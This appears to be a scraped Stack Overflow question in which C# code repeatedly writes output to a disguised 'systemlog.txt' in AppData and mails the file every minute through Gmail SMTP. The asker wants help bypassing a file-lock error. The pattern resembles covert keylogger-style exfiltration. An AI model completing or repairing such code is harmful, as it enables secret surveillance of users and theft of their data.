Quantcast
Channel: Active questions tagged email - Stack Overflow
Viewing all articles
Browse latest Browse all 30363

System.IO.IOException: "The process cannot access the C:systemlog.txt file because it is in use by another process."

$
0
0
            while (true)            {                System.Threading.Thread.Sleep(2000);                using (StreamWriter stream = File.CreateText(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt"))                {                    stream.WriteLine(output);                    stream.Flush();                }            }    AND:            DateTime LastSend = System.DateTime.Now;            while (true)            {                if (LastSend.AddMinutes(1) > System.DateTime.Now)                    continue;                MailMessage mail = new MailMessage();                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");                mail.From = new MailAddress("");                mail.To.Add("");                mail.Subject = "Test Mail";                mail.Attachments.Add(new Attachment(@"C:\Users\"+ Environment.UserName + @"\AppData\Local\systemlog.txt"));                mail.Body = "This is for testing SMTP mail from GMAIL";                SmtpServer.Port = 587;                SmtpServer.Credentials = new System.Net.NetworkCredential("", "");                SmtpServer.EnableSsl = true;                SmtpServer.Send(mail);                LastSend = System.DateTime.Now;                Application.DoEvents();            }

Hey I have an problem with my project and i dont know how to fix it.... the first program makes an text file and writes in there an log. And the second program sends the txt file to my email.How can i Bypass this????? Please help


Viewing all articles
Browse latest Browse all 30363

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>